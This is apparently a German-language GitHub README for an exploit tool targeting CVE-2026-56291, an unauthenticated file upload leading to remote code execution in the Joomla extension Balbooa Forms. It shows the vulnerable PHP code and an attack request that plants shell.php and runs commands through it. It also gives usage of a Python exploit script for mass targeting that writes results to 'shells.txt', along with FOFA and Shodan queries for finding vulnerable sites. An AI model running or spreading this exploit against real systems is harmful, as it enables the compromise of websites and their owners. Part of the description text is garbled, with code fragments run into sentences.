shinthink/cve-2026-56291Balbooa Forms (com_baforms) < 2.4.1 — Nicht authentifizierter Dateiupload zu RCE über form.uploadAttachmentFile | CVSS 9.8 | CISA KEV
CVE-2026-56291 ist eine kritische (CVSS 9.8) Schwachstelle für nicht authentifizierte, beliebige Datei-Uploads in der Joomla-Erweiterung Balbooa Forms (com_baforms) (< 2.4.1).
Die Frontend-Task form.uploadAttachmentFile ruft Session::checkToken() nicht auf und führt keinerlei Berechtigungsprüfung durch. Hochgeladene Dateien verwenden direkt die Erweiterung des Angreifers: . Die Dateien landen in – direkt als PHP ausführbar.
$fileName = $name . '.' . $extimages/baforms/uploads/form-{id}/| Version | Status |
|---|---|
| 1.0 – 2.4.0 | Verwundbar |
| 2.4.1+ | Behoben |
CISA KEV: Am 10. Juli 2026 hinzugefügt – aktive Ausnutzung bestätigt.
// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext; // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);
POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE
git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt
python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup
FOFA: body="com_baforms"
Shodan: http.html:"baforms"
| Ressource | Link |
|---|---|
| CISA KEV | cisa.gov/known-exploited-vulnerabilities |
| Details zum Fix | mysites.guru |
| Forscher | Phil Taylor |
Nicht mit Balbooa verbunden.